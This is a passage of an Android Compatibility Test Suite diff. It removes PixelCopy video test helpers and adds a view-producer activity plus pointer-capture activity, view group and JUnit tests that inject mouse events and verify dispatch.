-        if (!activity.canPlayVideo()) {
-            Log.i(TAG, "Skipping testVideoProducer, video codec isn't supported");
-            return;
-        }
-        // This returns when the video has been prepared and playback has
-        // been started, it doesn't necessarily means a frame has actually been
-        // produced. There sadly isn't a callback for that.
-        // So we'll try for up to 900ms after this event to acquire a frame, otherwise
-        // it's considered a timeout.
-        activity.waitForPlaying();
-        assertTrue("Failed to start video playback", activity.canPlayVideo());
-        SynchronousPixelCopy copyHelper = new SynchronousPixelCopy();
-        Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
-        int copyResult = PixelCopy.ERROR_SOURCE_NO_DATA;
-        for (int i = 0; i < 30; i++) {
-            copyResult = copyHelper.request(activity.getVideoView(), bitmap);
-            if (copyResult != PixelCopy.ERROR_SOURCE_NO_DATA) {
-                break;
-            }
-            Thread.sleep(30);
-        }
-        assertEquals(PixelCopy.SUCCESS, copyResult);
-        // A large threshold is used because decoder accuracy is covered in the
-        // media CTS tests, so we are mainly interested in verifying that rotation
-        // and YUV->RGB conversion were handled properly.
-        assertBitmapQuadColor(bitmap, Color.RED, Color.GREEN, Color.BLUE, Color.BLACK, 30);
-    }
-
-    private static int getPixelFloatPos(Bitmap bitmap, float xpos, float ypos) {
-        return bitmap.getPixel((int) (bitmap.getWidth() * xpos), (int) (bitmap.getHeight() * ypos));
-    }
-
-    private void assertBitmapQuadColor(Bitmap bitmap, int topLeft, int topRight,
-                int bottomLeft, int bottomRight) {
-        // Just quickly sample 4 pixels in the various regions.
-        assertEquals("Top left", topLeft, getPixelFloatPos(bitmap, .25f, .25f));
-        assertEquals("Top right", topRight, getPixelFloatPos(bitmap, .75f, .25f));
-        assertEquals("Bottom left", bottomLeft, getPixelFloatPos(bitmap, .25f, .75f));
-        assertEquals("Bottom right", bottomRight, getPixelFloatPos(bitmap, .75f, .75f));
-    }
-
-    private void assertBitmapQuadColor(Bitmap bitmap, int topLeft, int topRight,
-            int bottomLeft, int bottomRight, int threshold) {
-        // Just quickly sample 4 pixels in the various regions.
-        assertTrue("Top left", pixelsAreSame(topLeft, getPixelFloatPos(bitmap, .25f, .25f), threshold));
-        assertTrue("Top right", pixelsAreSame(topRight, getPixelFloatPos(bitmap, .75f, .25f), threshold));
-        assertTrue("Bottom left", pixelsAreSame(bottomLeft, getPixelFloatPos(bitmap, .25f, .75f), threshold));
-        assertTrue("Bottom right", pixelsAreSame(bottomRight, getPixelFloatPos(bitmap, .75f, .75f), threshold));
-    }
-
-    private boolean pixelsAreSame(int ideal, int given, int threshold) {
-        int error = Math.abs(Color.red(ideal) - Color.red(given));
-        error += Math.abs(Color.green(ideal) - Color.green(given));
-        error += Math.abs(Color.blue(ideal) - Color.blue(given));
-        return (error < threshold);
-    }
-
-    private static class QuadColorGLRenderer implements Renderer {
-
-        private final int mTopLeftColor;
-        private final int mTopRightColor;
-        private final int mBottomLeftColor;
-        private final int mBottomRightColor;
-
-        private final CountDownLatch mFence;
-
-        private int mWidth, mHeight;
-
-        public QuadColorGLRenderer(int topLeft, int topRight,
-                int bottomLeft, int bottomRight, CountDownLatch fence) {
-            mTopLeftColor = topLeft;
-            mTopRightColor = topRight;
-            mBottomLeftColor = bottomLeft;
-            mBottomRightColor = bottomRight;
-            mFence = fence;
-        }
-
-        @Override
-        public void onSurfaceCreated(GL10 gl, EGLConfig config) {
-        }
-
-        @Override
-        public void onSurfaceChanged(GL10 gl, int width, int height) {
-            mWidth = width;
-            mHeight = height;
-        }
-
-        @Override
-        public void onDrawFrame(GL10 gl) {
-            int cx = mWidth / 2;
-            int cy = mHeight / 2;
-
-            glEnable(GL_SCISSOR_TEST);
-
-            glScissor(0, cy, cx, mHeight - cy);
-            clearColor(mTopLeftColor);
-
-            glScissor(cx, cy, mWidth - cx, mHeight - cy);
-            clearColor(mTopRightColor);
-
-            glScissor(0, 0, cx, cy);
-            clearColor(mBottomLeftColor);
-
-            glScissor(cx, 0, mWidth - cx, cy);
-            clearColor(mBottomRightColor);
-
-            mFence.countDown();
-        }
-
-        private void clearColor(int color) {
-            glClearColor(Color.red(color) / 255.0f,
-                    Color.green(color) / 255.0f,
-                    Color.blue(color) / 255.0f,
-                    Color.alpha(color) / 255.0f);
-            glClear(GL_COLOR_BUFFER_BIT);
-        }
-    }
-
-    private static class SynchronousPixelCopy implements OnPixelCopyFinishedListener {
-        private static Handler sHandler;
-        static {
-            HandlerThread thread = new HandlerThread("PixelCopyHelper");
-            thread.start();
-            sHandler = new Handler(thread.getLooper());
-        }
-
-        private int mStatus = -1;
-
-        public int request(Surface source, Bitmap dest) {
-            synchronized (this) {
-                PixelCopy.request(source, dest, this, sHandler);
-                return getResultLocked();
-            }
-        }
-
-        public int request(SurfaceView source, Bitmap dest) {
-            synchronized (this) {
-                PixelCopy.request(source, dest, this, sHandler);
-                return getResultLocked();
-            }
-        }
-
-        private int getResultLocked() {
-            try {
-                this.wait(1000);
-            } catch (InterruptedException e) {
-                fail("PixelCopy request didn't complete within 1s");
-            }
-            return mStatus;
-        }
-
-        @Override
-        public void onPixelCopyFinished(int copyResult) {
-            synchronized (this) {
-                mStatus = copyResult;
-                this.notify();
-            }
-        }
-    }
-}
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyVideoSourceActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyVideoSourceActivity.java
index e250390..246e5aa 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyVideoSourceActivity.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyVideoSourceActivity.java
@@ -17,12 +17,13 @@
 package android.view.cts;
 
 import android.app.Activity;
-import android.cts.util.MediaUtils;
 import android.net.Uri;
 import android.os.Bundle;
 import android.util.Log;
 import android.widget.VideoView;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.util.concurrent.CountDownLatch;
 
 public class PixelCopyVideoSourceActivity extends Activity {
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
new file mode 100644
index 0000000..925dd8e
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.view.View;
+import android.view.ViewTreeObserver.OnDrawListener;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class PixelCopyViewProducerActivity extends Activity implements OnDrawListener {
+    private static final int[] ORIENTATIONS = {
+            ActivityInfo.SCREEN_ORIENTATION_PORTRAIT,
+            ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE,
+            ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT,
+            ActivityInfo.SCREEN_ORIENTATION_REVERSE_LANDSCAPE,
+    };
+    private int mCurrentOrientation = 0;
+    private View mContent;
+    private Rect mContentBounds = new Rect();
+    private CountDownLatch mFence = new CountDownLatch(3);
+    private boolean mSupportsRotation;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Check if the device supports both of portrait and landscape orientation screens.
+        final PackageManager pm = getPackageManager();
+        mSupportsRotation = pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
+                    && pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT);
+        if (mSupportsRotation) {
+            setRequestedOrientation(ORIENTATIONS[mCurrentOrientation]);
+        }
+
+        mContent = new ColoredGrid(this);
+        setContentView(mContent);
+        mContent.getViewTreeObserver().addOnDrawListener(this);
+    }
+
+    @Override
+    public void onDraw() {
+        final int requestedOrientation = ORIENTATIONS[mCurrentOrientation];
+        boolean screenPortrait =
+                requestedOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+                || requestedOrientation == ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT;
+        boolean contentPortrait = mContent.getHeight() > mContent.getWidth();
+        if (mSupportsRotation && (screenPortrait != contentPortrait)) {
+            return;
+        }
+        mContent.post(() -> {
+            Point offset = new Point();
+            // We pass mContentBounds here just as a throwaway rect, we don't care about
+            // the visible rect just the global offset.
+            mContent.getGlobalVisibleRect(mContentBounds, offset);
+            mContentBounds.set(offset.x, offset.y,
+                    offset.x + mContent.getWidth(), offset.y + mContent.getHeight());
+            mFence.countDown();
+            if (mFence.getCount() > 0) {
+                mContent.invalidate();
+            }
+        });
+    }
+
+    public void waitForFirstDrawCompleted(int timeout, TimeUnit unit) {
+        try {
+            if (!mFence.await(timeout, unit)) {
+                fail("Timeout");
+            }
+        } catch (InterruptedException ex) {
+            fail(ex.getMessage());
+        }
+    }
+
+    public boolean rotate() {
+        if (!mSupportsRotation) {
+            // Do not rotate the screen if it is not supported.
+            return false;
+        }
+        mFence = new CountDownLatch(3);
+        runOnUiThread(() -> {
+            mCurrentOrientation = (mCurrentOrientation + 1) % ORIENTATIONS.length;
+            setRequestedOrientation(ORIENTATIONS[mCurrentOrientation]);
+        });
+        waitForFirstDrawCompleted(3, TimeUnit.SECONDS);
+        return mCurrentOrientation != 0;
+    }
+
+    // Convert a rect in normalized 0-100 dimensions to the bounds of the actual View.
+    public void normalizedToSurface(Rect inOut) {
+        float sx = mContentBounds.width() / 100.0f;
+        float sy = mContentBounds.height() / 100.0f;
+        inOut.left = (int) (inOut.left * sx);
+        inOut.top = (int) (inOut.top * sy);
+        inOut.right = (int) (inOut.right * sx + 0.5f);
+        inOut.bottom = (int) (inOut.bottom * sy + 0.5f);
+        inOut.offset(mContentBounds.left, mContentBounds.top);
+    }
+
+    private static final class ColoredGrid extends View {
+        private Paint mPaint = new Paint();
+        private Rect mRect = new Rect();
+
+        ColoredGrid(Context context) {
+            super(context);
+            setWillNotDraw(false);
+        }
+
+        @Override
+        protected void onDraw(Canvas canvas) {
+            int cx = getWidth() / 2;
+            int cy = getHeight() / 2;
+
+            canvas.drawColor(Color.YELLOW);
+
+            mRect.set(1, 1, cx, cy);
+            mPaint.setColor(Color.RED);
+            canvas.drawRect(mRect, mPaint);
+
+            mRect.set(cx, 1, getWidth() - 1, cy);
+            mPaint.setColor(Color.GREEN);
+            canvas.drawRect(mRect, mPaint);
+
+            mRect.set(1, cy, cx, getHeight() - 1);
+            mPaint.setColor(Color.BLUE);
+            canvas.drawRect(mRect, mPaint);
+
+            mRect.set(cx, cy, getWidth() - 1, getHeight() - 1);
+            mPaint.setColor(Color.BLACK);
+            canvas.drawRect(mRect, mPaint);
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureCtsActivity.java b/tests/tests/view/src/android/view/cts/PointerCaptureCtsActivity.java
new file mode 100644
index 0000000..b9f42de
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureCtsActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.ContextMenu;
+import android.view.View;
+
+public class PointerCaptureCtsActivity extends Activity {
+    private boolean mHasCapture;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.pointer_capture_layout);
+    }
+
+    public void onCreateContextMenu(
+            ContextMenu menu, View v, ContextMenu.ContextMenuInfo menuInfo) {
+        menu.add("context menu");
+    }
+
+    @Override
+    public void onPointerCaptureChanged(boolean hasCapture) {
+        mHasCapture = hasCapture;
+    }
+
+    public boolean hasPointerCapture() {
+        return mHasCapture;
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java b/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java
new file mode 100644
index 0000000..cb67b92
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.annotation.Nullable;
+import android.content.Context;
+import android.util.AttributeSet;
+import android.view.MotionEvent;
+import android.widget.LinearLayout;
+
+public class PointerCaptureGroup extends LinearLayout {
+    private boolean mCalledDispatchPointerCaptureChanged;
+    private boolean mCalledOnCapturedPointerEvent;
+    private boolean mCalledDispatchCapturedPointerEvent;
+    private boolean mCalledOnPointerCaptureChange;
+
+    public PointerCaptureGroup(Context context) {
+        super(context);
+    }
+
+    public PointerCaptureGroup(Context context, @Nullable AttributeSet attrs) {
+        super(context, attrs);
+    }
+
+    public PointerCaptureGroup(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
+        super(context, attrs, defStyleAttr);
+    }
+
+    public PointerCaptureGroup(Context context, @Nullable AttributeSet attrs, int defStyleAttr,
+            int defStyleRes) {
+        super(context, attrs, defStyleAttr, defStyleRes);
+    }
+
+    @Override
+    public void dispatchPointerCaptureChanged(boolean hasCapture) {
+        mCalledDispatchPointerCaptureChanged = true;
+        super.dispatchPointerCaptureChanged(hasCapture);
+    }
+
+    @Override
+    public void onPointerCaptureChange(boolean hasCapture) {
+        mCalledOnPointerCaptureChange = true;
+        super.onPointerCaptureChange(hasCapture);
+    }
+
+    @Override
+    public boolean dispatchCapturedPointerEvent(MotionEvent event) {
+        mCalledDispatchCapturedPointerEvent = true;
+        return super.dispatchCapturedPointerEvent(event);
+    }
+
+    @Override
+    public boolean onCapturedPointerEvent(MotionEvent event) {
+        mCalledOnCapturedPointerEvent = true;
+        return super.onCapturedPointerEvent(event);
+    }
+
+    void reset() {
+        mCalledDispatchPointerCaptureChanged = false;
+        mCalledDispatchCapturedPointerEvent = false;
+        mCalledOnPointerCaptureChange = false;
+        mCalledOnCapturedPointerEvent = false;
+    }
+
+    boolean hasCalledDispatchPointerCaptureChanged() {
+        return mCalledDispatchPointerCaptureChanged;
+    }
+
+    boolean hasCalledOnCapturedPointerEvent() {
+        return mCalledOnCapturedPointerEvent;
+    }
+
+    boolean hasCalledDispatchCapturedPointerEvent() {
+        return mCalledDispatchCapturedPointerEvent;
+    }
+
+    boolean hasCalledOnPointerCaptureChange() {
+        return mCalledOnPointerCaptureChange;
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureTest.java b/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
new file mode 100644
index 0000000..1d27f75
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
@@ -0,0 +1,443 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static com.android.compatibility.common.util.CtsMouseUtil.PositionMatcher;
+import static com.android.compatibility.common.util.CtsMouseUtil.clearHoverListener;
+import static com.android.compatibility.common.util.CtsMouseUtil.installHoverListener;
+import static com.android.compatibility.common.util.CtsMouseUtil.obtainMouseEvent;
+import static com.android.compatibility.common.util.CtsMouseUtil.verifyEnterMove;
+import static com.android.compatibility.common.util.CtsMouseUtil.verifyEnterMoveExit;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.argThat;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.inOrder;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+
+import android.app.Instrumentation;
+import android.hardware.input.InputManager;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.InputDevice;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+import android.view.View;
+
+import com.android.compatibility.common.util.CtsMouseUtil.ActionMatcher;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.InOrder;
+
+/**
+ * Test {@link View}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PointerCaptureTest {
+    private static final long TIMEOUT_DELTA = 10000;
+
+    private Instrumentation mInstrumentation;
+    private PointerCaptureCtsActivity mActivity;
+
+    private PointerCaptureGroup mOuter;
+    private PointerCaptureGroup mInner;
+    private PointerCaptureView mTarget;
+    private PointerCaptureGroup mTarget2;
+
+    @Rule
+    public ActivityTestRule<PointerCaptureCtsActivity> mActivityRule =
+            new ActivityTestRule<>(PointerCaptureCtsActivity.class);
+
+    @Rule
+    public ActivityTestRule<CtsActivity> mCtsActivityRule =
+            new ActivityTestRule<>(CtsActivity.class, false, false);
+
+    private void requestFocusSync(View view) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            view.setFocusable(true);
+            view.setFocusableInTouchMode(true);
+            view.requestFocus();
+        });
+        PollingCheck.waitFor(TIMEOUT_DELTA, view::hasFocus);
+    }
+
+    private void requestCaptureSync(View view) throws Throwable {
+        mActivityRule.runOnUiThread(view::requestPointerCapture);
+        PollingCheck.waitFor(TIMEOUT_DELTA,
+                () -> view.hasPointerCapture() && mActivity.hasPointerCapture());
+    }
+
+    private void requestCaptureSync() throws Throwable {
+        requestCaptureSync(mOuter);
+    }
+
+    private void releaseCaptureSync(View view) throws Throwable {
+        mActivityRule.runOnUiThread(view::releasePointerCapture);
+        PollingCheck.waitFor(TIMEOUT_DELTA,
+                () -> !view.hasPointerCapture() && !mActivity.hasPointerCapture());
+    }
+
+    private void releaseCaptureSync() throws Throwable {
+        releaseCaptureSync(mOuter);
+    }
+
+    public static View.OnCapturedPointerListener installCapturedPointerListener(View view) {
+        final View.OnCapturedPointerListener mockListener =
+                mock(View.OnCapturedPointerListener.class);
+        view.setOnCapturedPointerListener((v, event) -> {
+            // Clone the event to work around event instance reuse in the framework.
+            mockListener.onCapturedPointer(v, MotionEvent.obtain(event));
+            return true;
+        });
+        return mockListener;
+    }
+
+    public static void clearCapturedPointerListener(View view) {
+        view.setOnCapturedPointerListener(null);
+    }
+
+    private static void injectMotionEvent(MotionEvent event) {
+        InputManager.getInstance().injectInputEvent(event,
+                InputManager.INJECT_INPUT_EVENT_MODE_WAIT_FOR_FINISH);
+    }
+
+    private static void injectRelativeMouseEvent(int action, int x, int y) {
+        injectMotionEvent(obtainRelativeMouseEvent(action, x, y));
+    }
+
+    private static MotionEvent obtainRelativeMouseEvent(int action, int x, int y) {
+        final long eventTime = SystemClock.uptimeMillis();
+        MotionEvent event = MotionEvent.obtain(eventTime, eventTime, action, x, y, 0);
+        event.setSource(InputDevice.SOURCE_MOUSE_RELATIVE);
+        return event;
+    }
+
+    private static void verifyRelativeMouseEvent(InOrder inOrder,
+                View.OnCapturedPointerListener listener, View view, int action, int x, int y) {
+        inOrder.verify(listener, times(1)).onCapturedPointer(
+                eq(view), argThat(new PositionMatcher(action, x, y)));
+    }
+
+    private void verifyHoverDispatch() {
+        View.OnHoverListener listenerOuter = installHoverListener(mOuter);
+        View.OnHoverListener listenerInner = installHoverListener(mInner);
+        View.OnHoverListener listenerTarget = installHoverListener(mTarget);
+        View.OnHoverListener listenerTarget2 = installHoverListener(mTarget2);
+
+        injectMotionEvent(obtainMouseEvent(MotionEvent.ACTION_HOVER_MOVE, mInner, 0, 0));
+        injectMotionEvent(obtainMouseEvent(MotionEvent.ACTION_HOVER_MOVE, mTarget, 0, 0));
+        injectMotionEvent(obtainMouseEvent(MotionEvent.ACTION_HOVER_MOVE, mTarget2, 0, 0));
+
+        clearHoverListener(mOuter);
+        clearHoverListener(mInner);
+        clearHoverListener(mTarget);
+        clearHoverListener(mTarget2);
+
+        verifyEnterMoveExit(listenerInner, mInner, 2);
+        verifyEnterMoveExit(listenerTarget, mTarget, 2);
+        verifyEnterMove(listenerTarget2, mTarget2, 1);
+
+        verifyNoMoreInteractions(listenerOuter);
+        verifyNoMoreInteractions(listenerInner);
+        verifyNoMoreInteractions(listenerTarget);
+        verifyNoMoreInteractions(listenerTarget2);
+    }
+
+    private void assertPointerCapture(boolean enabled) {
+        assertEquals(enabled, mOuter.hasPointerCapture());
+        assertEquals(enabled, mInner.hasPointerCapture());
+        assertEquals(enabled, mTarget.hasPointerCapture());
+        assertEquals(enabled, mTarget2.hasPointerCapture());
+        assertEquals(enabled, mActivity.hasPointerCapture());
+    }
+
+    private void resetViews() {
+        mOuter.reset();
+        mInner.reset();
+        mTarget.reset();
+        mTarget2.reset();
+
+        mOuter.setOnCapturedPointerListener(null);
+        mInner.setOnCapturedPointerListener(null);
+        mTarget.setOnCapturedPointerListener(null);
+        mTarget2.setOnCapturedPointerListener(null);
+    }
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+
+        mOuter = (PointerCaptureGroup) mActivity.findViewById(R.id.outer);
+        mInner = (PointerCaptureGroup) mActivity.findViewById(R.id.inner);
+        mTarget = (PointerCaptureView) mActivity.findViewById(R.id.target);
+        mTarget2 = (PointerCaptureGroup) mActivity.findViewById(R.id.target2);
+
+        PollingCheck.waitFor(TIMEOUT_DELTA, mActivity::hasWindowFocus);
+    }
+
+    @Test
+    public void testRequestAndReleaseWorkOnAnyView() throws Throwable {
+        requestCaptureSync(mOuter);
+        assertPointerCapture(true);
+
+        releaseCaptureSync(mOuter);
+        assertPointerCapture(false);
+
+        requestCaptureSync(mInner);
+        assertPointerCapture(true);
+
+        releaseCaptureSync(mTarget);
+        assertPointerCapture(false);
+    }
+
+    @Test
+    public void testWindowFocusChangeEndsCapture() throws Throwable {
+        requestCaptureSync();
+        assertPointerCapture(true);
+
+        // Show a context menu on a widget.
+        mActivity.registerForContextMenu(mTarget);
+        mActivityRule.runOnUiThread(() -> mTarget.showContextMenu(0, 0));
+        PollingCheck.waitFor(TIMEOUT_DELTA, () -> !mOuter.hasWindowFocus());
+        assertPointerCapture(false);
+
+        mInstrumentation.sendCharacterSync(KeyEvent.KEYCODE_BACK);
+        PollingCheck.waitFor(TIMEOUT_DELTA, () -> mOuter.hasWindowFocus());
+        assertFalse(mTarget.hasPointerCapture());
+        assertFalse(mActivity.hasPointerCapture());
+    }
+
+    @Test
+    public void testActivityFocusChangeEndsCapture() throws Throwable {
+        requestCaptureSync();
+        assertPointerCapture(true);
+
+        // Launch another activity.
+        CtsActivity activity = mCtsActivityRule.launchActivity(null);
+        PollingCheck.waitFor(TIMEOUT_DELTA, () -> !mActivity.hasWindowFocus());
+        assertPointerCapture(false);
+
+        activity.finish();
+    }
+
+    @Test
+    public void testEventDispatch() throws Throwable {
+        verifyHoverDispatch();
+
+        View.OnCapturedPointerListener listenerInner = installCapturedPointerListener(mInner);
+        View.OnCapturedPointerListener listenerTarget = installCapturedPointerListener(mTarget);
+        View.OnCapturedPointerListener listenerTarget2 = installCapturedPointerListener(mTarget2);
+        View.OnHoverListener hoverListenerTarget2 = installHoverListener(mTarget2);
+
+        requestCaptureSync();
+
+        requestFocusSync(mInner);
+        injectRelativeMouseEvent(MotionEvent.ACTION_MOVE, 1, 2);
+        injectRelativeMouseEvent(MotionEvent.ACTION_DOWN, 1, 2);
+        injectRelativeMouseEvent(MotionEvent.ACTION_MOVE, 3, 4);
+        injectRelativeMouseEvent(MotionEvent.ACTION_UP, 3, 4);
+        injectRelativeMouseEvent(MotionEvent.ACTION_MOVE, 1, 2);
+
+        requestFocusSync(mTarget);
+        injectRelativeMouseEvent(MotionEvent.ACTION_MOVE, 5, 6);
+
+        requestFocusSync(mTarget2);
+        injectRelativeMouseEvent(MotionEvent.ACTION_MOVE, 7, 8);
+
+        requestFocusSync(mInner);
+        injectRelativeMouseEvent(MotionEvent.ACTION_MOVE, 9, 10);
+
+        releaseCaptureSync();
+
+        injectRelativeMouseEvent(MotionEvent.ACTION_MOVE, 11, 12);  // Should be ignored.
+
+        clearCapturedPointerListener(mInner);
+        clearCapturedPointerListener(mTarget);
+        clearCapturedPointerListener(mTarget2);
+        clearHoverListener(mTarget2);
+
+        InOrder inOrder = inOrder(
+                listenerInner, listenerTarget, listenerTarget2, hoverListenerTarget2);
+
+        // mTarget2 is left hovered after the call to verifyHoverDispatch.
+        inOrder.verify(hoverListenerTarget2, times(1)).onHover(
+                eq(mTarget2), argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_EXIT)));
+
+        verifyRelativeMouseEvent(inOrder, listenerInner, mInner, MotionEvent.ACTION_MOVE, 1, 2);
+        verifyRelativeMouseEvent(inOrder, listenerInner, mInner, MotionEvent.ACTION_DOWN, 1, 2);
+        verifyRelativeMouseEvent(inOrder, listenerInner, mInner, MotionEvent.ACTION_MOVE, 3, 4);
+        verifyRelativeMouseEvent(inOrder, listenerInner, mInner, MotionEvent.ACTION_UP, 3, 4);
+        verifyRelativeMouseEvent(inOrder, listenerInner, mInner, MotionEvent.ACTION_MOVE, 1, 2);
+
+        verifyRelativeMouseEvent(inOrder, listenerTarget, mTarget, MotionEvent.ACTION_MOVE, 5, 6);
+        verifyRelativeMouseEvent(inOrder, listenerTarget2, mTarget2, MotionEvent.ACTION_MOVE, 7, 8);
+        verifyRelativeMouseEvent(inOrder, listenerInner, mInner, MotionEvent.ACTION_MOVE, 9, 10);
+
+        inOrder.verifyNoMoreInteractions();
+
+        // Check the regular dispatch again.
+        verifyHoverDispatch();
+    }
+
+    @Test
+    public void testPointerCaptureChangeDispatch() throws Throwable {
+        // Normal dispatch should reach every view in the hierarchy.
+        requestCaptureSync();
+
+        assertTrue(mOuter.hasCalledDispatchPointerCaptureChanged());
+        assertTrue(mOuter.hasCalledOnPointerCaptureChange());
+        assertTrue(mInner.hasCalledDispatchPointerCaptureChanged());
+        assertTrue(mInner.hasCalledOnPointerCaptureChange());
+        assertTrue(mTarget.hasCalledDispatchPointerCaptureChanged());
+        assertTrue(mTarget.hasCalledOnPointerCaptureChange());
+        assertTrue(mTarget2.hasCalledDispatchPointerCaptureChanged());
+        assertTrue(mTarget2.hasCalledOnPointerCaptureChange());
+
+        resetViews();
+
+        releaseCaptureSync();
+
+        assertTrue(mOuter.hasCalledDispatchPointerCaptureChanged());
+        assertTrue(mOuter.hasCalledOnPointerCaptureChange());
+        assertTrue(mInner.hasCalledDispatchPointerCaptureChanged());
+        assertTrue(mInner.hasCalledOnPointerCaptureChange());
+        assertTrue(mTarget.hasCalledDispatchPointerCaptureChanged());
+        assertTrue(mTarget.hasCalledOnPointerCaptureChange());
+        assertTrue(mTarget2.hasCalledDispatchPointerCaptureChanged());
+        assertTrue(mTarget2.hasCalledOnPointerCaptureChange());
+
+        resetViews();
+
+        // Manual dispatch should only reach the recipient and its descendants.
+        mInner.dispatchPointerCaptureChanged(true);
+        assertFalse(mOuter.hasCalledDispatchPointerCaptureChanged());
+        assertFalse(mOuter.hasCalledOnPointerCaptureChange());
+        assertTrue(mInner.hasCalledDispatchPointerCaptureChanged());
+        assertTrue(mInner.hasCalledOnPointerCaptureChange());
+        assertTrue(mTarget.hasCalledDispatchPointerCaptureChanged());
+        assertTrue(mTarget.hasCalledOnPointerCaptureChange());
+        assertFalse(mTarget2.hasCalledDispatchPointerCaptureChanged());
+        assertFalse(mTarget2.hasCalledOnPointerCaptureChange());
+    }
+
+    @Test
+    public void testOnCapturedPointerEvent() throws Throwable {
+        final MotionEvent event = obtainRelativeMouseEvent(MotionEvent.ACTION_MOVE, 1, 1);
+
+        // No focus, no capture. Dispatch does reach descendants, no handlers called.
+        mOuter.dispatchCapturedPointerEvent(event);
+        assertTrue(mOuter.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mOuter.hasCalledOnCapturedPointerEvent());
+        assertFalse(mInner.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mInner.hasCalledOnCapturedPointerEvent());
